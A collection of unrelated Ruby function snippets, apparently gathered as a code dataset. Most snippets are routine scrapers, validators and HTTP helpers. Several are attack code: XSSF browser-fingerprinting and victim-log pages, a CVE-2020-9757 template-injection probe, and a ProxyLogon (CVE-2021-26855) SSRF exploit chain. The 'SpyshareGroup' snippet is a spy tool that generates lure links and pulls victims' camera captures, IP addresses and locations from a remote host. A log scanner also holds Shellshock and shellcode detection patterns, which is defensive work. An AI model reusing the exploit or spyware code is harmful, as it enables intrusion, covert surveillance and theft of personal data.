_line2.match(parsed_line[:epoch].to_s) || \n _line2.match(parsed_line[:epoch_actual].to_s) || \n _line2.match(parsed_line[:lsepoch].to_s)\n Site.lsepoch_scan(params)\n elsif _line2.match(parsed_line[:replica].to_s)\n Site.lsreplica_scan(params)\n else\n # error message\n flash[:notice] = \"INVALID FORMAT! - check the input file!\"\n end\n else\n # error message\n flash[:notice] = \"INVALID FORMAT! - check the input file!\"\n end\n end\n super\n end",
"def read_server_write_file(agent, creds, url, outfilename, field_blacklist, field_order, categories)\n wb = RubyXL::Workbook.new\n\n # Admin worksheet\n ws_admin = wb.add_worksheet('Admin')\n ws_admin.add_cell(0, 0, 'Admin user')\n ws_admin.add_cell(0, 1, 'Password')\n ws_admin.add_cell(1, 0, creds[:username])\n ws_admin.add_cell(1, 1, creds[:password])\n\n SUPPORTED_TABS.each do |tab|\n category = tab.downcase\n next unless categories.empty? || categories.include?(category.sub(/\\..*/, ''))\n ws = nil # Delay creating the worksheet until we know whether there are any entries to put on it\n\n case category\n # Extensions have a subcategory: tech. Different technologies have different attributes, which means they can't\n # share a tab in the Excel file so easily.\n when /extensions\\./\n category,tech = category.split('.')\n ext_page = get_page(agent, creds, url + CONFIG, {display: category})\n ext_grid_result = get_page(agent, creds, url + AJAX,\n {module: :core, command: :getExtensionGrid, type: tech, order: :asc}, ext_page.uri.to_s)\n ext_grid = JSON.parse(ext_grid_result.body)\n extn_table = []\n ext_grid.each do |ext|\n ext_page = get_page(agent, creds, url + CONFIG,\n {display: :extensions, extdisplay: ext['extension']}, ext_grid_result.uri.to_s)\n puts \"Extension #{ext['extension']}\" unless $quiet\n ws ||= wb.add_worksheet(tab)\n extn_table << construct_row_from_form(ext_page.form('frm_extensions'), field_blacklist[category])\n end\n write_table(ws, extn_table, field_order[category]) if ws\n\n # Trunks have a subcategory: tech. Different technologies have different attributes, which means they can't\n # share a tab in the Excel file so easily.\n when /trunks\\./\n category,tech = category.split('.')\n trunks_page = get_page(agent, creds, url + CONFIG, {display: :trunks})\n trunks_grid_result = get_page(agent, creds, url + AJAX,\n {module: :core, command: :getJSON, jdata: :allTrunks, order: :asc}, trunks_page.uri.to_s)\n trunks_grid = JSON.parse(trunks_grid_result.body)\n\n trnk_table = []\n trunks_page.css('table#table-all/tbody/tr').each do |tr| # For each trunk, find its table row...\n next unless tr.css('td')[1].text == tech # ...ignore if wrong tech\n a = tr.css('td/a') # Find the 'edit' link\n if a and a.first\n linkaddr = a.first['href'] # Follow trunk's 'edit' link\n trunk_page = get_page(agent, creds, url + ADMIN + '/' + linkaddr, '', trunks_page.uri.to_s)\n # Look up this trunk in the JSON data returned from the AJAX request (without assuming row ordering)\n trk_data = trunks_grid.detect { |e| e['trunkid'] == tr['id'] }\n puts \"Trunk #{trk_data['name']}\" unless $quiet\n # Tell the form-reader to override certain radioboxes, based on the JSON data.\n # This is necessary because the returned form doesn't contain the currently selected data. Instead,\n # a JavaScript script retrieves some JSON data and sets some of the radioboxes. It even overrides\n # the value of the 'outcid' field (which is not emulated here).\n override = {\n hcidyes: (/hidden/ =~ trk_data['outcid']),\n hcidno: !(/hidden/ =~ trk_data['outcid']),\n keepcidoff: trk_data['keepcid'] == 'off',\n keepcidon: trk_data['keepcid'] == 'on',\n keepcidcnum: trk_data['keepcid'] == 'cnum',\n keepcidall: trk_data['keepcid'] == 'all',\n continueno: trk_data['continue'] == 'off',\n continueyes: !(trk_data['continue'] == 'off'),\n disabletrunkno: trk_data['disabled'] == 'off',\n disabletrunkyes: !(trk_data['disabled'] == 'off')\n }\n\n ws ||= wb.add_worksheet(tab)\n trnk_table << construct_row_from_form(trunk_page.form('trunkEdit'), field_blacklist[category], override)\n end\n write_table(ws, trnk_table, field_order[category]) if ws\n end\n end\n end\n\n #wb.delete_worksheet('Sheet1')\n wb.write(outfilename)\nend",
"def read_log (file)\n\t#incident number counter\n\ti = 0\n\n\ttext = File.open(file).read\n\t#text.gsub!(/\\r\\n?/, \"\\n\")\n\ttext.each_line do |line|\n\t\t#grab the ip address from the line\n\t\t\tipmatch = line.match(/^(.*?)(?=-)/)\n\t\t\tip = ipmatch.to_s\n\n\t\t#find protocol\n\t\t\tproto = \"\"\n\t\t\tprotomatch = line.match(/HTTP/)\n\t\t\tproto = protomatch.to_s\n\n\t\t#NMAP scan (2)\n\t\tif /Nmap*/.match(line)\n\t\t\ti = i + 1\n\t\t\tputs i.to_s + \". ALERT: Nmap scan is detected from \" + ip + \"(\" + proto + \") \" + \"(\" + line + \")!\"\n\t\tend\n\t\t\n\t\t#Nikto scan (0)\n\t\tif /Nikto*/.match(line)\n\t\t\ti = i + 1\n\t\t\tputs i.to_s + \". ALERT: Nikto scan is detected from \" + ip + \"(\" + proto + \") \" + \"(\" + line + \")!\"\n\t\tend\n\n\t\t#Rob Graham's Masscan (19)\n\t\tif line =~ /masscan*/\n\t\t\ti = i + 1\n\t\t\tputs i.to_s + \". ALERT: Someone is looking for masscan, scan is detected from \" + ip + \"(\" + proto + \") \" + \"(\" + line + \")!\"\n\t\tend\n\n\t\t#Shellshock vulnerability\n\t\tif line =~ /{ :;};echo/\n\t\t\ti = i + 1\n\t\t\tputs i.to_s + \". ALERT: Someone is looking for Shellshock vulnerability, scan is detected from \" + ip + \"(\" + proto + \") \" + \"(\" + line + \")!\"\n\t\tend\n\n\t\t#phpMyAdmin\n\t\tif line =~ /phpMyAdmin*/\n\t\t\ti = i + 1\n\t\t\tputs i.to_s + \". ALERT: Someone is looking for phpMyAdmin, scan is detected from \" + ip + \"(\" + proto + \") \" + \"(\" + line + \")!\"\n\t\tend\n\n\t\t#other shellcode\n\t\tif /xeb*/.match(line) || /xEB.*/.match(line) || /x16.*/.match(line) || /%2D%*/.match(line) || /perl*/.match(line)\n\t\t\ti = i + 1\n\t\t\tputs i.to_s + \". ALERT: Someone is trying to run shellcode, scan is detected from \" + ip + \"(\" + proto + \") \" + \"(\" + line + \")!\"\n\t\tend\n\tend\nend",
"def on_request_uri(cli, req)\n\t\n\t\tcode = %Q{\n\t\t\tvar ret = '';\n\t\t\tvar quicktime = false;\n\t\t\tvar unsafe = true;\n\n\t\t\tif( window.navigator.javaEnabled() )\tret += \"JAVA ENABLED \\\\n\";\n\t\t\telse \t\t\t\t\t\t\t\t\tret += \"JAVA NOT AVAILABLE \\\\n\";\n\n\t\t\tif (navigator.mimeTypes && navigator.mimeTypes[\"application/x-shockwave-flash\"]) ret += \"FLASH AVAILABLE \\\\n\";\n\t\t\telse \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t ret += \"FLASH NOT AVAILABLE \\\\n\";\n\n\t\t\tif (navigator.plugins)\n\t\t\t\tfor (i=0; i < navigator.plugins.length; i++ )\n\t\t\t\t\tif (navigator.plugins[i].name.indexOf(\"QuickTime\")>=0)\n\t\t\t\t\t\tquicktime = true;\n\n\t\t\tif ((navigator.appVersion.indexOf(\"Mac\") > 0) && (navigator.appName.substring(0,9) == \"Microsoft\") && (parseInt(navigator.appVersion) < 5) )\n\t\t\t\tquicktime = true;\n\t\n\t\t\t(quicktime) ? ret += \"QUICKTIME AVAILABLE \\\\n\" : ret += \"QUICKTIME NOT AVAILABLE \\\\n\";\n\n\n\t\t\tif ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1))\tret += \"VBSCRIPT AVAILABLE \\\\n\";\n\t\t\telse\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tret += \"VBSCRIPT NOT AVAILABLE \\\\n\";\n\n\t\t\ttry{ test = new ActiveXObject(\"WbemScripting.SWbemLocator\"); } \n\t\t\tcatch(ex){unsafe = false;} \n \n\t\t\t(unsafe) ? ret += \"UNSAFE ACTIVE X ACTIVATED \\\\n\" : ret += \"UNSAFE ACTIVE X NOT ACTIVATED \\\\n\";\n\n\t\t\t\n\t\t\tif (navigator.plugins && navigator.plugins.length > 0) {\n\t\t\t\tvar pluginsArrayLength = navigator.plugins.length;\n\t\t\t\tret += \"PLUGINS : \\\\n\";\n\t\t\t\tfor (pluginsArrayCounter = 0 ; pluginsArrayCounter < pluginsArrayLength ; pluginsArrayCounter++ ) {\n\t\t\t\t\tret += \"\\\\t * \" + navigator.plugins[pluginsArrayCounter].name;\n\t\t\t\t\tif(pluginsArrayCounter < pluginsArrayLength-1)\n\t\t\t\t\t\tret += String.fromCharCode(10);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tXSSF_POST(ret, '#{self.name}');\n\t\t}\n\n\t\tsend_response(cli, code)\n\tend",
"def server_get_data(vmid,field)\n @site[\"nodes/#{@nodename}/openvz/#{vmid}/status/current\"].get @auth_params do |response, request, result, &block|\n data = (field.match(\"all\"))?JSON.parse(response.body)['data'] : JSON.parse(response.body)['data'][field]\n end\nend",
"def shacl_validator(rdf_graph, shacl_document)\n shacl_shapes = Hash.new\n responsive_endpoints = Array.new\n graph = RDF::Graph.load(rdf_graph)\n File.foreach(shacl_document) {|line|\n case line\n when /^EU/\n @endpoint_url = line.match(\"^EU\\t(.+)\\n\")[1]\n when /^SH/\n content = line.match(\"^SH\\t(.+\\n)\")[1]\n if shacl_shapes.include? @endpoint_url\n shacl_shapes[@endpoint_url] << content\n else\n shacl_shapes[@endpoint_url] = content\n end\n when /^XX/\n next\n end\n } \n #This splits the value of the hash, which corresponds to all the shapes from an\n # endpoint one after another in a string. The split is made on the ] . that\n # delimits the end of a shape, and with ?<= it is kept in the shapes.\n shacl_shapes.update(shacl_shapes) {|key, value| value.split(/(?<=\\] \\.)\\n/)}\n shacl_shapes.each do |key, value|\n value.each do |shape|\n File.open(\"tmp.ttl\", \"w\") {|file|\n file.write \"@prefix sh: <http://www.w3.org/ns/shacl#> .\\n\\n\"\n file.write shape\n }\n shacl = SHACL.open(\"tmp.ttl\")\n report = shacl.execute(graph)\n \n puts \"SHAPE:\\n\\n#{shape}\\n\\nConforms?: #{report.conform?}\\n\\nLength: #{report.all_results.length}\"\n puts puts\n puts report\n puts puts\n if report.conform? && report.all_results.length > 0\n responsive_endpoints << key\n break\n else \n next\n end\n end\n end\n return responsive_endpoints\nend",
"def run\n super\n \n require_enrichment\n\n vuln_paths = [\n \"/actions/seomatic/meta-container/meta-link-container/?uri={{8*'8'}}\",\n \"/actions/seomatic/meta-container/all-meta-containers?uri={{8888*'8'}}\"\n ] \n vuln_paths.each do |vp|\n body = http_get_body \"#{_get_entity_name}#{vp}\"\n \n if body =~ /71104/\n _create_linked_issue \"craft_cms_seomatic_cve_2020_9757\", { \"proof\" => body }\n else \n _log \"Not vulnerable? Got: #{body}\"\n end\n end\n\n end",
"def search_pn\n @pn_cross_references = invoke_webservice method: 'get', action: 'xrefParts', query_string: { :partNo => params[:pn_part_number]}\n if @pn_cross_references.present? && @pn_cross_references[\"errMsg\"].blank?\n @xNSN = @pn_cross_references[\"xNSN\"].split(\",\")\n @xPartNo = @pn_cross_references[\"xPartNo\"].split(\",\")\n @xCage = @pn_cross_references[\"xCage\"].split(\",\")\n @xCageName = @pn_cross_references[\"xCageName\"].split(\",\")\n else\n @error = @pn_cross_references.present? ? @pn_cross_references[\"errMsg\"] : \"Service Temporarily Unavailable\"\n end\n render :index\n end",
"def parse_ictv_hpv(asked_gene)\n #get\n url = 'http://phene.cpmc.columbia.edu/Ictv/fs_papil.htm#Genus01'\n #The URL should not contain illegeal characters. Hence the query parameter which, in many cases,\n #will be accepted as user input, needs to be encoded using the URI.encode method.\n #url = \"http://search.yahooapis.com/WebSearchService/V1/webSearch?appid=YahooDemo&query=#{URI.encode(\"premshree pillai\")}&results=1\"\n begin\n resp = Net::HTTP.get_response(URI.parse(url)) # get_response takes an URI object\n\n\n\n rescue Exception => e\n puts 'Connection error: ' + e.message\n end\n\n #parsing de la page web\n hpv_types_acces = {}\n\n txt= resp.body\n #print resp.to_s + \"\\n\"\n\n txt.each { |line|\n matched = /\\[(.*)\\].*\\((HPV-.*)\\)/.match(line).to_s\n if matched !=''\n accession = $1\n hpv_type = $2\n #puts \"----------> #{line}\"\n\n hpv_types_acces[hpv_type]=accession unless /^NC_/ =~ hpv_types_acces[hpv_type]\n\n puts \"#{accession}:#{hpv_type}\"\n\n\n end\n\n \n }\n\n puts hpv_types_acces.inspect\n\n # Retrieve the sequence of accession number M33388 from the EMBL\n # database.\n #server = Bio::Fetch.new() #uses default server\n #puts server.fetch('embl','M33388')\n\n # Do the same thing without creating a Bio::Fetch object. This method always\n # uses the default dbfetch server: http://bioruby.org/cgi-bin/biofetch.rb\n #puts Bio::Fetch.query('embl','M33388')\n\n # To know what databases are available on the bioruby dbfetch server:\n #server = Bio::Fetch.new()\n #puts server.databases\n\n # Some databases provide their data in different formats (e.g. 'fasta',\n # 'genbank' or 'embl'). To check which formats are supported by a given\n # database:\n #puts '-----------------'\n #puts server.formats('embl')\n\n ncbi = Bio::NCBI::REST.new\n Bio::NCBI.default_email=('[email protected]')\n\n #recuperate proteins\n hpv_types_prot_seq = {}\n\n hpv_types_acces.each_pair { |name, val|\n #val = hpv_types_acces['HPV-41']\n #val = hpv_types_acces['HPV-81']\n # entry is a string containing only one entry contents\n entry = ncbi.efetch(val, {\"db\"=>\"nucleotide\", \"rettype\"=>\"gb\", \"retmode\" => \"text\"})\n gb = Bio::GenBank.new(entry)\n\n gb.each_cds() {|feature|\n gene = ''\n product = ''\n translation = ''\n note = ''\n debut = ''\n fin = ''\n matched =''\n\n feature.each do |qualifier|\n if qualifier.qualifier == 'product'\n #puts \"- \" + qualifier.qualifier\n product= qualifier.value\n\n end\n\n if qualifier.qualifier == 'gene'\n gene= qualifier.value\n end\n\n if qualifier.qualifier == 'note'\n note= qualifier.value\n end\n\n if qualifier.qualifier == 'translation'\n translation = qualifier.value\n end\n end\n\n #puts \"product: #{product}, gene: #{gene}, note: #{note}, translation: #{translation}\"\n\n matched = /[ELXYZ]\\d?\\w?/.match(gene).to_s\n\n if matched == ''\n matched = /[ELXYZ]\\d?\\w?/.match(product).to_s\n end\n\n matched = /[ELXYZ]\\d?\\w?/.match(note).to_s if matched == ''\n\n matched.capitalize()\n\n\n\n position = case feature.position\n when /join\\((\\d+).*\\.\\.(\\d+)\\)/ then $1 +'..' + $2\n else feature.position\n end\n\n\n\n debut = position.split(\"..\")[0]\n debut = debut.gsub('<','')\n\n fin = position.split(\"..\")[1]\n fin = fin.gsub('>','')\n\n if matched == asked_gene\n puts \" #{val} \\t#{debut}:#{fin} \\t gene:#{gene} \\t product:#{product} \\t note:#{note} \\t matched#{matched} \\t #{translation}\"\n\n hpv_types_prot_seq[name]=translation\n end\n\n\n }\n\n }\n #ncbi.efetch(\"J00231\", {\"db\"=>\"nuccore\", \"rettype\"=>\"gb\", \"retmode\"=>\"xml\"})\n #ncbi.efetch(\"AAA52805\", {\"db\"=>\"protein\", \"rettype\"=>\"gb\"})\n\n return hpv_types_prot_seq\n\n end",
"def authorize(options = {})\r\n # full_res_file_access = ['10.128.99.55','10.128.1.167','10.224.6.10','10.128.99.167','10.128.98.50','10.224.6.26','10.224.6.35','172.16.1.94', '66.234.38.35']\r\n #'65.88.88.115'\r\n # logger = Java::edu.illinois.library.cantaloupe.script.Logger\r\n # logger.debug(\"CONTEXT HASH: #{context}\")\r\n # logger.debug(\"REQUEST URI: #{context['request_uri']}\")\r\n if context['request_uri'].include?(\"info.json\") \r\n true\r\n else \r\n type = is_region?()? \"full_res\" : derivative_type(context['resulting_size'])\r\n # logger.debug(\"TYPE: #{type}\")\r\n rights = get_rights(context['identifier'], context['client_ip'])\r\n allowed = returns_rights?(rights) && is_not_restricted?(rights, type)\r\n # logger.debug(\"ALLOWED? #{allowed}\")\r\n allowed\r\n end\r\n end",
"def build_rsp\n fqdn_query = '/pdb/query/v4/facts/fqdn'\n json_hosts_fqdn = JSON.parse(query_pdb(fqdn_query))\n format_facts(json_hosts_fqdn, 'fqdn')\n ip_query = '/pdb/query/v4/facts/ipaddress'\n json_hosts_ip = JSON.parse(query_pdb(ip_query))\n format_facts(json_hosts_ip, 'ipaddress')\n merged_facts = merge_hasharray(json_hosts_fqdn, json_hosts_ip, 'certname')\n hacky_json(merged_facts)\nend",
"def process_tracking_nums(trackingNums, str_ssn, str_name)\n \n begin\n agent = Mechanize.new\n #agent.agent.http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n \n page = agent.get('http://wwwapps.ups.com/WebTracking/track')\n ups_form = page.form_with(:name => 'trkbynum')\n #ups_form = page.forms[0]\n \n #if formnumber changes on website, sw crashes on next line*******\n ups_form.trackNums = trackingNums\n #****************************************************************\n \n #ups_form.checkboxes.name('AgreeToTermsAndConditions').check\n page = agent.submit(ups_form, ups_form.buttons[0])\n \n #open('Result.htm', 'w') { |f| f << page.body }\n \n @doc = Hpricot(page.body)\n parse_results(trackingNums.rstrip)\n\n if @savefile == 1\n save_file(str_ssn, str_name)\n end\n \n rescue Exception => ex\n puts ex\n log_error(ex)\n end\n\n end",
"def net_http_res; end",
"def ip; get_data_in_file :ip end",
"def build_log_page(req, res)\n\t\t\t\tcase req.query[\"#{PARAM_GUI_PAGE}\"]\n\t\t\t\t\twhen /^banner$/\n\t\t\t\t\t\tXSSF_RESP(res, get_html_banner())\n\t\t\t\t\t\t\n\t\t\t\t\twhen /^victims$/\n\t\t\t\t\t\tXSSF_RESP(res, get_html_victims())\n\t\t\t\t\t\t\n\t\t\t\t\twhen /^logs$/\n\t\t\t\t\t\tXSSF_RESP(res, get_html_logs((req.query[\"#{PARAM_GUI_VICTIMID}\"]).to_i))\n\t\t\t\t\t\t\n\t\t\t\t\twhen /^attack$/\n\t\t\t\t\t\tif (req.query[\"#{PARAM_GUI_ACTION}\"] =~ /^export$/)\n\t\t\t\t\t\t\tfilename = \"LOG.\" + (URI.unescape(req.query[\"#{PARAM_GUI_EXTENTION}\"])).strip\n\t\t\t\t\t\t\tXSSF_RESP(res, get_log_content((req.query[\"#{PARAM_GUI_LOGID}\"]).to_i), 200, \"OK\", {\"Content-Disposition\" => \"attachment; filename=#{filename}\", \"Content-Type\" => \"application/octet-stream\"})\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tXSSF_RESP(res, get_html_attack((req.query[\"#{PARAM_GUI_LOGID}\"]).to_i))\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\twhen /^stats$/\n\t\t\t\t\t\tcode = %Q{\n\t\t\t\t\t\t\t<html><head><title>XSSF Stats</title></head>\n\t\t\t\t\t\t\t\t<frameset rows=\"160px,*\" BORDERCOLOR=GREEN>\n\t\t\t\t\t\t\t\t\t<frame src=\"#{VICTIM_GUI}?#{PARAM_GUI_PAGE}=banner\" noresize>\n\t\t\t\t\t\t\t\t\t<frame src=\"#{VICTIM_GUI}?#{PARAM_GUI_PAGE}=stat\">\n\t\t\t\t\t\t\t\t</frameset>\n\t\t\t\t\t\t\t</html>\n\t\t\t\t\t\t}\n\t\t\t\t\t\tXSSF_RESP(res, code)\n\t\t\t\t\t\t\n\t\t\t\t\twhen /^stat$/\n\t\t\t\t\t\tif (req.query[\"#{PARAM_GUI_JSON}\"])\n\t\t\t\t\t\t\tXSSF_RESP(res, build_json(req.query[\"#{PARAM_GUI_JSON}\"]), 200, \"OK\", {'Content-type' => 'application/octet-stream', 'Cache-Control' => 'no-cache'})\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tXSSF_RESP(res, get_html_stats())\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\twhen /^help$/\n\t\t\t\t\t\tcode = %Q{\n\t\t\t\t\t\t\t<html><head><title>XSSF Logs</title></head>\n\t\t\t\t\t\t\t\t<frameset rows=\"160px,*\" BORDERCOLOR=GREEN>\n\t\t\t\t\t\t\t\t\t<frame src=\"#{VICTIM_GUI}?#{PARAM_GUI_PAGE}=banner\" noresize>\n\t\t\t\t\t\t\t\t\t<frame name=\"fr1\" \tsrc=\"#{XSSF_GUI_FILES}help.html\">\n\t\t\t\t\t\t\t\t</frameset>\n\t\t\t\t\t\t\t</html>\n\t\t\t\t\t\t}\n\t\t\t\t\t\tXSSF_RESP(res, code)\n\t\t\t\t\t\t\t\n\t\t\t\t\telse\n\t\t\t\t\t\tcode = %Q{\n\t\t\t\t\t\t\t<html><head><title>XSSF Logs</title></heads>\n\t\t\t\t\t\t\t\t<frameset rows=\"160px,*\" BORDERCOLOR=GREEN>\n\t\t\t\t\t\t\t\t\t<frame src=\"#{VICTIM_GUI}?#{PARAM_GUI_PAGE}=banner\" noresize>\n\t\t\t\t\t\t\t\t\t\t<frameset cols=\"30%, 35%, 35%\">\n\t\t\t\t\t\t\t\t\t\t\t<frame name=\"fr1\" \tsrc=\"#{VICTIM_GUI}?#{PARAM_GUI_PAGE}=victims\">\n\t\t\t\t\t\t\t\t\t\t\t<frame name=\"fr2\" \tsrc=\"#{VICTIM_GUI}?#{PARAM_GUI_PAGE}=logs\">\n\t\t\t\t\t\t\t\t\t\t\t<frame name=\"fr3\" \tsrc=\"#{VICTIM_GUI}?#{PARAM_GUI_PAGE}=attack\">\n\t\t\t\t\t\t\t\t\t\t</frameset>\n\t\t\t\t\t\t\t\t</frameset>\n\t\t\t\t\t\t\t</html>\n\t\t\t\t\t\t}\n\t\t\t\t\t\tXSSF_RESP(res, code)\n\t\t\t\tend\n\t\t\tend",
"def SpyshareGroup\r\nq = [0,2,0,1].inject{|p,q| p+q}\r\np = [0,0,0,0].inject(:+)\r\np = p+q;p = p.to_s;p Website[0].capitalize+By[1]+Website[12]+Upgrade_1_by[1]+Website[10]+Upgrade_by[1]+By[1]+' '+Update_by[1].capitalize+Website[10]+' '+Name.split.first+p\r\n# Go A Link To Delete Your info From Server automatically Php\r\n'<< https://bit.ly/3dPwo2i' \r\n\r\nrequire 'colorize'\r\n$SpyShare = (5..10).inject { |geT_Send, serverP| geT_Send + serverP }\r\n def Save\r\n def Scan\r\n def RunF\r\n require 'net/http'\r\n require 'uri' \r\n puts '1'.red+' == Camera '.cyan\r\n puts '2'.red+' == System info'.green \r\n puts 'Enter Number'\r\n select = gets.chomp\r\n if select == \"1\"\r\n server = \"yehia.online\"\r\n puts ('Enter Title').yellow\r\n my_inp = gets.chomp\r\n puts ('Num Time Start').cyan\r\n start = gets.chomp\r\n puts ('Num Time Stop').cyan\r\n stop = gets.chomp\r\n all = my_inp+start+stop\r\n puts (\"\\n\\n\\n\\n\\nhttps\".green+'://welcome.'+server+'/'+all.cyan)\r\n puts \"\\n Enter To Activity check\".magenta\r\n gets.chomp\r\n myurld = 'https://files-exec201.000webhostapp.com/xhr/'\r\n 5000.times { \r\n def open(url)\r\n Net::HTTP.get(URI.parse(url))\r\n end\r\n $res = Net::HTTP.get_response(URI(myurld+my_inp+'.html')) \r\n if $res.code == '200'\r\n puts 'Yes Save it'.green\r\n page_content = open(myurld+my_inp+'.html')\r\n File.write(my_inp+'.html' , page_content)\r\n puts 'Yes'.green\r\n Process.kill 9, Process.pid\r\n else\r\n sleep(0.5) \r\n print (\"No thing\\n\").red\r\n sleep(0.1)\r\n print (\"I will try again\\n\").blue\r\n end}\r\n end\r\n if select == \"2\"\r\n puts 'Select Server'.blue\r\n puts \"1-\".magenta+\" learn\".green+\".yehia.online/\"\r\n puts \"2-\".magenta+\" download\".green+\".yehia.online/\"\r\n puts \"3-\".magenta+\" ahmed\".green+\".yehia.online/\"\r\n puts \"4-\".magenta+\" homepage\".green+\".yehia.online/\"\r\n puts \"5-\".magenta+\" mohamed\".green+\".yehia.online/\"\r\n puts \"6-\".magenta+\" Leader\".green+\".yehia.online/\"\r\n \r\n domain = gets.chomp\r\n if domain == '1'\r\n $ServerL = 'https://'.green+'learn.yehia.online/'\r\n end\r\n if domain == '2'\r\n $ServerL = 'https://'.green+'download.yehia.online/'\r\n end\r\n if domain == '3'\r\n $ServerL = 'https://'.green+'ahmed.yehia.online/'\r\n end\r\n if domain == '4'\r\n $ServerL = 'https://'.green+'homepage.yehia.online/'\r\n end\r\n if domain == '5'\r\n $ServerL = 'https://'.green+'mohamed.yehia.online/'\r\n end\r\n if domain == '6'\r\n $ServerL = 'https://'.green+'leader.yehia.online/'\r\n end\r\n puts 'Enter Your Word'\r\n uNp = gets.chomp\r\n puts $ServerL+uNp\r\n puts \"\\n\\n Enter To Activity check\".magenta\r\n gets.chomp\r\n myurld = 'https://files-exec201.000webhostapp.com/xhr/noopn/'\r\n \r\n 5000.times { \r\n def open(url)\r\n Net::HTTP.get(URI.parse(url))\r\n end\r\n $res = Net::HTTP.get_response(URI(myurld+uNp+'.txt')) \r\n if $res.code == '200'\r\n puts 'Yes Save it'.green\r\n page_content = open(myurld+uNp+'.txt')\r\n File.write(uNp+'.txt' , page_content)\r\n lines = File.open(uNp+'.txt').to_a\r\n print 'He-has a camera' +': '.red+lines.at(0)[0].green\r\n print \"\\nSystem\" +': '.red+lines.at(1).yellow\r\n \r\n print 'Browser'+': '.red+lines.at(2).blue\r\n print 'Screen Size'+': '.red+lines.at(3).magenta\r\n print 'ip address'+': '.red+lines.at(4).cyan\r\n print 'Country'+': '.red+lines.at(7).blue\r\n print 'City'+': '.red+lines.at(5).green\r\n print 'Region'+': '.red+lines.at(6).yellow\r\n print 'Net By'+': '.red+lines.at(8).cyan\r\n print 'Net Host'+': '.red+lines.at(9).magenta\r\n print 'Local ip'+': '.red+lines.at(10).green\r\n \r\n Process.kill 9, Process.pid\r\n else\r\n sleep(0.5) \r\n print (\"No thing\\n\").red\r\n sleep(0.1)\r\n print (\"I will try again\\n\").blue\r\n end}\r\n \r\n \r\n end\r\n end\r\n \r\n urlTk = 'https://'.green+'token.yehia.online/'\r\n arr = [urlTk+'7Fop4',urlTk+'t02e',urlTk+'ag1n87',urlTk+'D4P62',urlTk+'Jov01d',urlTk+'Yehia',urlTk+'Faul7a',urlTk+'GOG69',urlTk+'LK435',urlTk+'Tai543',]\r\n a = arr[rand(arr.count)]\r\n puts a\r\n puts 'Enter The Token'\r\n if a == urlTk+'7Fop4'\r\n $ck = gets.chomp\r\n if $ck == '1058'\r\n RunF()\r\n end\r\n end\r\n if a == urlTk+'t02e'\r\n \r\n $ck = gets.chomp\r\n if $ck == '0381'\r\n RunF()\r\n end\r\n \r\n end\r\n if a == urlTk+'ag1n87'\r\n $ck = gets.chomp\r\n if $ck == '72001'\r\n RunF()\r\n end\r\n end\r\n if a == urlTk+'D4P62'\r\n $ck = gets.chomp\r\n if $ck == '9182'\r\n RunF()\r\n end\r\n end\r\n if a == urlTk+'Jov01d'\r\n $ck = gets.chomp\r\n if $ck == '5814'\r\n RunF()\r\n end\r\n end\r\n if a == urlTk+'Yehia'\r\n $ck = gets.chomp\r\n if $ck == '7710'\r\n RunF()\r\n end\r\n end\r\n if a == urlTk+'Faul7a'\r\n $ck = gets.chomp\r\n if $ck == '4901'\r\n RunF()\r\n end\r\n end\r\n if a == urlTk+'GOG69'\r\n $ck = gets.chomp\r\n if $ck == '5058'\r\n RunF()\r\n end\r\n end\r\n if a == urlTk+'LK435'\r\n $ck = gets.chomp\r\n if $ck == '3951'\r\n RunF()\r\n end\r\n end\r\n if a == urlTk+'Tai543'\r\n $ck = gets.chomp\r\n if $ck == '0371'\r\n RunF()\r\n end\r\n end\r\n end\r\n \r\n puts ' Do you speak English ?'\r\n puts '1- Yes '.green\r\n puts '2- No'.red\r\n \r\n chS = gets.chomp\r\n if chS == '1'\r\n puts ' Please Read Agree to the terms of use'\r\n puts \"https://www.yehia.online/p/useit.html\\n\".red\r\n puts '1- I read and agree to the terms of use'.green\r\n puts \"\\n 2- No Exit\"\r\n geag = gets.chomp\r\n if geag == '1'\r\n Scan()\r\n end\r\n end\r\n end\r\n if $SpyShare == (5..10).inject { |geT, posT| geT + posT } \r\n Save()\r\n end\r\nend",
"def run_cve_2021_26855\n # request for internal server name.\n response = send_http(datastore['METHOD'], \"localhost~#{random_ssrf_id}\")\n if response.code != 500 || !response.headers.to_s.include?('X-FEServer')\n fail_with(Failure::NotFound, 'No \\'X-FEServer\\' was found')\n end\n\n server_name = response.headers['X-FEServer']\n print_status(\"Internal server name (#{server_name})\")\n\n # get informations by autodiscover request.\n print_status(message('Sending autodiscover request'))\n server_id, legacy_dn = request_autodiscover(server_name)\n\n print_status(\"Server: #{server_id}\")\n print_status(\"LegacyDN: #{legacy_dn}\")\n\n # get the user UID using mapi request.\n print_status(message('Sending mapi request'))\n sid = request_mapi(server_name, legacy_dn, server_id)\n print_status(\"SID: #{sid} (#{datastore['EMAIL']})\")\n\n # search oab\n sid, session, canary, oab_id = search_oab(server_name, sid)\n\n [server_name, sid, session, canary, oab_id]\n end",
"def download_internal_best_bets\n\tunless ENV['FUNNELBACK_PASSWORD']\n\t\tabort('The FUNNELBACK_PASSWORD enviornment variable is not set')\n\tend\n\tbegin\n\thttp = Net::HTTP.new(ENV['FUNNELBACK_DOMAIN'],ENV['FUNNELBACK_PORT'])\n\treq = Net::HTTP::Get.new(\"/search/admin/download-conf.cgi?collection=website&f=best_bets.cfg&dir=profile-folder-internal-preview\")\n\thttp.use_ssl = true\n\thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\treq.basic_auth ENV['FUNNELBACK_USERNAME'], ENV['FUNNELBACK_PASSWORD']\n\tresponse = http.request(req)\nrescue\n \terb :loaderror\n else\n\t\n\topen(\"data/best-bets-internal.txt\", \"wb\") { |file|\n\t\tfile.write(response.body)\n }\nend\nend",
